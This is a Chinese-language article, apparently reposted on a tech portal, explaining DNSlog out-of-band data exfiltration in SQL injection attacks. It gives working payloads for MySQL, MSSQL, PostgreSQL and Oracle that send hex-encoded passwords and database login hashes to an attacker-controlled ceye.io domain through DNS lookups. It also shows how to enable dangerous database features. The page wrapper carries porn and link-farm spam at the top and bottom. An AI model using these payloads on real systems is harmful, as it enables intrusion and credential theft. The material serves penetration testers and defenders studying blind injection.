成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Dnslog在SQL注入中的實(shí)戰(zhàn)

安全 數(shù)據(jù)安全
本文主要講述Dnslog這種攻擊手法在SQL注入中的實(shí)戰(zhàn)運(yùn)用,雖然網(wǎng)上對(duì)于Dnslog在SQL注入方面運(yùn)用的文章也不少。但是很多文章都只是片面的提到了這個(gè)攻擊方式,或者只是用某個(gè)簡(jiǎn)單的payload做了簡(jiǎn)單的驗(yàn)證。

本文主要講述Dnslog這種攻擊手法在SQL注入中的實(shí)戰(zhàn)運(yùn)用,雖然網(wǎng)上對(duì)于Dnslog在SQL注入方面運(yùn)用的文章也不少。但是很多文章都只是片面的提到了這個(gè)攻擊方式,或者只是用某個(gè)簡(jiǎn)單的payload做了簡(jiǎn)單的驗(yàn)證。然而在實(shí)際的運(yùn)用中,因?yàn)榄h(huán)境的差異,利用也不同。本文詳細(xì)的記錄了在多種常見數(shù)據(jù)庫(kù)實(shí)際運(yùn)用過(guò)程的一些細(xì)節(jié),包括POC的編寫和原理,和一些網(wǎng)上沒有公開的利用POC。

[[220184]]

一、關(guān)于DNSlog在Web攻擊的利用

DNSlog在Web漏洞利用中已經(jīng)是老生常談的問(wèn)題,簡(jiǎn)單理解就是在某些無(wú)法直接利用漏洞獲得回顯的情況下,但是目標(biāo)可以發(fā)起DNS請(qǐng)求,這個(gè)時(shí)候就可以通過(guò)這種方式把想獲得的數(shù)據(jù)外帶出來(lái)。

二、常用在哪些情況下

  • SQL注入中的盲注
  • 無(wú)回顯的命令執(zhí)行
  • 無(wú)回顯的SSRF

三、Dnslog攻擊的基本原理

Dnslog攻擊的基本原理

如圖所示,作為攻擊者,提交注入語(yǔ)句,讓數(shù)據(jù)庫(kù)把需要查詢的值和域名拼接起來(lái),然后發(fā)生DNS查詢,我們只要能獲得DNS的日志,就得到了想要的值。所以我們需要有一個(gè)自己的域名,然后在域名商處配置一條NS記錄,然后我們?cè)贜S服務(wù)器上面獲取DNS日志即可。

四、Dnslog在常見數(shù)據(jù)庫(kù)中SQL注入的實(shí)戰(zhàn)

這里主要列舉了4種數(shù)據(jù)庫(kù),MySQL、MSSQL、PostgreSQL、Oracle。

本次演示一個(gè)最常見的注入場(chǎng)景,就是WHERE后面條件處的注入。實(shí)驗(yàn)環(huán)境有一個(gè)test_user表,三個(gè)字段id、user、pass。如下

最后想要達(dá)到的目的是通過(guò)DNS外帶的方式查詢到pass字段的內(nèi)容。

此處就不再自己搭建一個(gè)DNS服務(wù)器了,直接用ceye.io這個(gè)平臺(tái)吧,這個(gè)平臺(tái)就集成了Dnslog的功能。

1. MySQL

(1) load_file

MySQL應(yīng)該是在實(shí)戰(zhàn)中利用Dnslog最多的,所以先來(lái)說(shuō)說(shuō)它吧。

在MySQL中有個(gè)一個(gè)load_file函數(shù)可以用來(lái)讀取本地的文件。

  1. http://127.0.0.1/mysql.php?id=1 union select 1,2,load_file(CONCAT('\\',(SELECT hex(pass)  
  2. FROM test.test_user WHERE name='admin' LIMIT 1),'.mysql.nk40ci.ceye.io\abc')) 

可以看到test_user中的pass字段的值的Hex碼就被查詢出來(lái)了,為什么這個(gè)地方Hex編碼的目的就是減少干擾,因?yàn)楹芏嗍聰?shù)據(jù)庫(kù)字段的值可能是有特殊符號(hào)的,這些特殊符號(hào)拼接在域名里是無(wú)法做dns查詢的,因?yàn)橛蛎怯幸欢ǖ囊?guī)范,有些特殊符號(hào)是不能帶入的。

注意:load_file函數(shù)在Linux下是無(wú)法用來(lái)做dnslog攻擊的,因?yàn)樵谶@里就涉及到Windows的一個(gè)小Tips——UNC路徑。

(2) UNC路徑

以下是百度的UNC路徑的解釋

UNC是一種命名慣例, 主要用于在Microsoft Windows上指定和映射網(wǎng)絡(luò)驅(qū)動(dòng)器. UNC命名慣例最多被應(yīng)用于在局域網(wǎng)中訪問(wèn)文件服務(wù)器或者打印機(jī)。我們?nèi)粘3S玫木W(wǎng)絡(luò)共享文件就是這個(gè)方式。

其實(shí)我們平常在Widnows中用共享文件的時(shí)候就會(huì)用到這種網(wǎng)絡(luò)地址的形式

  1. \\sss.xxx\test\ 

這也就解釋了為什么CONCAT()函數(shù)拼接了4個(gè)\了,因?yàn)檗D(zhuǎn)義的原因,4個(gè)就變\成了2個(gè)\,目的就是利用UNC路徑。

  1. tips: 

因?yàn)長(zhǎng)inux沒有UNC路徑這個(gè)東西,所以當(dāng)MySQL處于Linux系統(tǒng)中的時(shí)候,是不能使用這種方式外帶數(shù)據(jù)的

2. msSQL

(1) 先看看網(wǎng)上流傳最多的POC:

  1. DECLARE @host varchar(1024); 
  2.  
  3. SELECT @host=(SELECT TOP 1master.dbo.fn_varbintohexstr(password_hash)FROM sys.sql_loginsWHERE name='sa')+'.ip.port.b182oj.ceye.io'; 
  4.  
  5. EXEC('master..xp_dirtree"\'+@host+'\foobar$"'); 

這個(gè)POC在數(shù)據(jù)庫(kù)控制臺(tái)執(zhí)行的確是可以得到數(shù)據(jù)庫(kù)中sa用戶Hex編碼之后的Hash的。但是實(shí)際要獲得我們的test_user的表中的數(shù)據(jù)的時(shí)候,對(duì)POC需要一定的加工。

首先在sqlserver中字段名是不能和自定義函數(shù)名字沖突的,如果沖突需要用[]將字段包裹起來(lái),如下圖:

這里的user字段正好和系統(tǒng)的user()函數(shù)同名,所以字段需要[]包裹。

開始和域名拼接,發(fā)生如下圖的情況

然后發(fā)現(xiàn)拼接起來(lái)的字符串有空格,這是因?yàn)樵趕qlserver中當(dāng)需要字符串拼接的時(shí)候,如果字段的值的長(zhǎng)度沒有達(dá)到表結(jié)構(gòu)字段的長(zhǎng)度,就會(huì)用空格來(lái)填充

這里我的pass字段設(shè)置的長(zhǎng)度是50,所但是值實(shí)際的長(zhǎng)度是8,之所以剩余的長(zhǎng)度就用空格填充了。這個(gè)時(shí)候就用想辦法去掉空格,查閱手冊(cè)可以發(fā)現(xiàn)rtrim函數(shù)是可以去除右邊空格的,如下圖

開始編碼,前面說(shuō)過(guò)域名是不能帶有些特殊字符的,所以我們最好能將查詢出來(lái)的值編碼之后再和域名進(jìn)行拼接,但是在查閱了sqlserver的手冊(cè)之后,沒有發(fā)現(xiàn)可以直接對(duì)字符類型進(jìn)行編碼的函數(shù),只有將2進(jìn)制轉(zhuǎn)換成Hex的函數(shù),所以這里我需要先將字符類型強(qiáng)制轉(zhuǎn)換成varbinary二進(jìn)制類型,然后再將二進(jìn)制轉(zhuǎn)化成Hex編碼之后的字符類型。先轉(zhuǎn)換成二進(jìn)制

再把二進(jìn)制轉(zhuǎn)換成字符類型的Hex編碼

最后完整的POC就是出來(lái)了。

  1. http://127.0.0.1/mssql.php?id=1
  2. DECLARE @host varchar(1024);SELECT @host=(SELECT master.dbo.fn_varbintohexstr(convert(varbinary,rtrim(pass)))  
  3. FROM test.dbo.test_user where [USER] = 'admin')%2b'.cece.nk40ci.ceye.io'; 
  4. EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"'); 

結(jié)果如下:

那為什么網(wǎng)上給的那個(gè)POC就是能夠獲取到sa用戶的hash之后的hex碼的呢,原因如下:

因?yàn)槟莻€(gè)hash字段本來(lái)就是二進(jìn)制類型,所以不需要在經(jīng)過(guò)類型轉(zhuǎn)換了。

tips:此處有個(gè)小問(wèn)題,因?yàn)槠唇佑玫搅?號(hào),+號(hào)在url中如果不url編碼到代碼層的時(shí)候就成空格了,所以我們需要在提交之前對(duì)+號(hào)url編碼下

(2) SQLServer中其他的一些可使用函數(shù)

  1. master..xp_fileexist 
  2. master..xp_subdirs 

這兩個(gè)用法和前面的用法基本一樣,不再贅述。

  1. OpenRowset() 
  2. OpenDatasource() 

這兩個(gè)都是加載遠(yuǎn)程數(shù)據(jù)庫(kù)的函數(shù)。

這個(gè)兩個(gè)函數(shù)都需要高權(quán)限,而且系統(tǒng)是默認(rèn)關(guān)閉的,需要通過(guò)sp_configure去配置高級(jí)選項(xiàng)開啟功能,開啟代碼如下:

  1. exec sp_configure 'show advanced options',1;    
  2. reconfigure;    
  3. exec sp_configure 'Ad Hoc Distributed Queries',1;    
  4. reconfigure; 

所以此處不推薦使用這兩個(gè)函數(shù),不僅權(quán)限要求高而且使用起來(lái)也太麻煩,前面三已經(jīng)夠用了。

3. postgreSQL

大多數(shù)的腳本語(yǔ)言對(duì)于PostgreSQL都是支持SQL語(yǔ)句多語(yǔ)句的執(zhí)行的所以此處就非常方便了,我們可以編寫一個(gè)自定義的函數(shù)和存儲(chǔ)過(guò)程就好了,和SQLServer類似。1)copy函數(shù)的定義

  1. COPY tablename [ ( column [, ...] ) ]  
  2. FROM { 'filename' | STDIN } [ WITH ] [ BINARY ] [ OIDS ] [ DELIMITER [ AS ] 'delimiter' 'null string' ] CSV [ QUOTE [ AS ] 'quote' 'escape' ]  
  3. [ FORCE NOT NULL column [, ...] ]  
  4. COPY tablename [ ( column [, ...] ) ] TO { 'filename' | STDOUT } [ WITH ] [ BINARY ] [ OIDS ] [ DELIMITER [ AS ] 'delimiter' 'null string' ]  
  5. CSV [ QUOTE [ AS ] 'quote' 'escape' ] [ FORCE QUOTEcolumn [, ...] ] 

從定義看出這里是無(wú)法嵌套查詢,它這里需要直接填入文件名,所以過(guò)程就麻煩一點(diǎn)。

這是網(wǎng)上的POC,整體上沒有什么問(wèn)題。

  1. DROP TABLE IF EXISTS table_output; 
  2. CREATE TABLE table_output(content text); 
  3. CREATE OR REPLACE FUNCTION temp_function()RETURNS VOID AS $$DECLARE exec_cmd TEXT; 
  4. DECLARE query_result TEXT;BEGINSELECT INTO query_result (SELECT passwdFROM pg_shadow WHERE usename='postgres'); 
  5. exec_cmd := E'COPY table_output(content)FROM E\'\\\\'||query_result||E'.postgreSQL.nk40ci.ceye.io\\foobar.txt\''; 
  6. EXECUTE exec_cmd;END;$$ LANGUAGE plpgSQL SECURITY DEFINER;SELECT temp_function(); 

只是需要對(duì)數(shù)據(jù)處理編一下碼,此處會(huì)用到encode函數(shù),如下

  1. encode(pass::bytea,’hex’) 

最后完整的POC如下:

  1. http://127.0.0.1/pgSQL.php?id=1;DROP TABLE IF EXISTS table_output;  
  2. CREATE TABLE table_output(content text);  
  3. CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT;  
  4. DECLARE query_result TEXT;  
  5. BEGIN SELECT INTO query_result (select encode(pass::bytea,'hex') from test_user where id =1);  
  6. exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.pSQL.3.nk40ci.ceye.io\\\\foobar.txt\'';  
  7.    EXECUTE exec_cmd;  
  8. END; 
  9. $$ LANGUAGE plpgSQL SECURITY DEFINER;  
  10. SELECT temp_function(); 

結(jié)果:

tips:因?yàn)檫@里的copy需要的參數(shù)是文件路徑,所以這里其實(shí)也是利用了UNC路徑,因此這個(gè)方式也只能在windows下使用

(2) db_link擴(kuò)展

db_link是PostreSQL用來(lái)連接其他的數(shù)據(jù)庫(kù)的擴(kuò)展,用法也很簡(jiǎn)單,而且可以嵌套子查詢,那就很方便了

  1. dblink('連接串', 'SQL語(yǔ)句') 
  1. http://127.0.0.1/pgsql.php?id=1;CREATE EXTENSION dblink;  
  2. SELECT * FROM dblink('host='||(select encode(pass::bytea,'hex') from test_user where id =1)||'.vvv.psql.3.nk40ci.ceye.io user=someuser dbname=somedb',  
  3. 'SELECT version()') RETURNS (result TEXT); 

CREATE EXTENSION dblink; 就是打開這個(gè)擴(kuò)展,因?yàn)檫@個(gè)擴(kuò)展默認(rèn)是關(guān)閉的。

tips:

 

  • 在Ubuntu測(cè)試的時(shí)候dblink擴(kuò)展不是默認(rèn)安裝的,需要自己安裝擴(kuò)展。
  • Windows下是默認(rèn)雖然有擴(kuò)展的,但是默認(rèn)是不開啟的,需要打開擴(kuò)展。

4. Oracle

Oracle的利用方式就太多了,因?yàn)镺racle能夠發(fā)起網(wǎng)絡(luò)請(qǐng)求的模塊是很很多的。

這里就列舉幾個(gè)吧。

UTL_HTTP.REQUEST

  1. select name from test_user where id =1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id=1)||'.nk40ci.ceye.io') FROM sys.DUAL; 

DBMS_LDAP.INIT

  1. select name from test_user where id =1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id=1)||'.nk40ci.ceye.io',80) FROM sys.DUAL; 

HTTPURITYPE

  1. select name from test_user where id =1 union SELECT HTTPURITYPE((select pass from test_user where id=1)||'.xx.nk40ci.ceye.io').GETCLOB() FROM sys.DUAL; 

UTL_INADDR.GET_HOST_ADDRESS

  1. select name from test_user where id =1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select pass from test_user where id=1)||'.ddd.nk40ci.ceye.io') FROM sys.DUAL;  

tips:oracle是不允許select語(yǔ)句后面沒有表的,所以此處可以跟一個(gè)偽表dual

Oracle其他一些能夠發(fā)起網(wǎng)絡(luò)請(qǐng)求的模塊:

  1. UTL_HTTP  
  2. UTL_TCP  
  3. UTL_SMPTP  
  4. UTL_URL 

五、總結(jié)

  • 有些函數(shù)的使用操作系統(tǒng)的限制。
  • dns查詢有長(zhǎng)度限制,所以必要的時(shí)候需要對(duì)查詢結(jié)果做字符串的切割。
  • 避免一些特殊符號(hào)的產(chǎn)生,最好的選擇就是數(shù)據(jù)先編碼再帶出。
  • 注意不同數(shù)據(jù)庫(kù)的語(yǔ)法是有差異的,特別是在數(shù)據(jù)庫(kù)拼接的時(shí)候。
  • 有些操作是需要較高的權(quán)限。
責(zé)任編輯:趙寧寧 來(lái)源: 安全客
相關(guān)推薦

2014-01-17 12:35:48

2013-01-11 16:23:29

2010-09-13 14:03:58

2009-03-27 10:53:52

注入SQLMySQL

2013-04-19 13:20:14

2017-03-01 14:16:20

2024-04-30 14:50:13

2010-12-20 16:04:30

2013-12-09 09:57:37

2014-05-26 09:32:15

2015-03-25 12:55:48

2017-08-10 10:23:59

2019-12-13 10:24:05

PythonSQL注入ORM注入

2019-07-05 08:12:36

SQLMAPsql注入

2010-10-22 15:18:18

SQL注入漏洞

2009-02-04 16:11:45

2023-12-29 09:01:10

SwiftUI空狀態(tài)Product?

2014-11-04 13:43:10

2010-04-13 14:35:17

2010-09-03 12:01:17

SQL刪除
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

主站蜘蛛池模板: 国产乱肥老妇国产一区二 | 三级av免费 | 操久久久| www.国产精 | 亚洲aⅴ精品 | 国产99久久精品一区二区永久免费 | 欧美欧美欧美 | 一区二区三区国产精品 | 日韩精品视频在线 | 天天躁日日躁狠狠的躁天龙影院 | 特黄视频 | 国产91在线观看 | 奇米四色在线观看 | 国产精品美女久久久久aⅴ国产馆 | 天天天操| 久久精品国产一区二区电影 | 色综合久久久 | 久久久久久久久久性 | 亚洲精品一区二区 | 久久国产精品偷 | 日韩精品成人 | 亚洲精品视频二区 | 国产精品免费大片 | 亚洲3级| 午夜精品视频在线观看 | 91av在线看| 国产精品不卡 | 日韩不卡在线 | 成人1区 | 国产精品爱久久久久久久 | 亚洲欧美国产精品一区二区 | 欧美video | 久久久人 | 日韩中文视频 | 最近中文字幕免费 | 中文字幕日本一区二区 | 日本三级黄视频 | 亚洲精品91 | 久久精品视频一区二区三区 | 日韩欧美国产一区二区三区 | 7777在线 |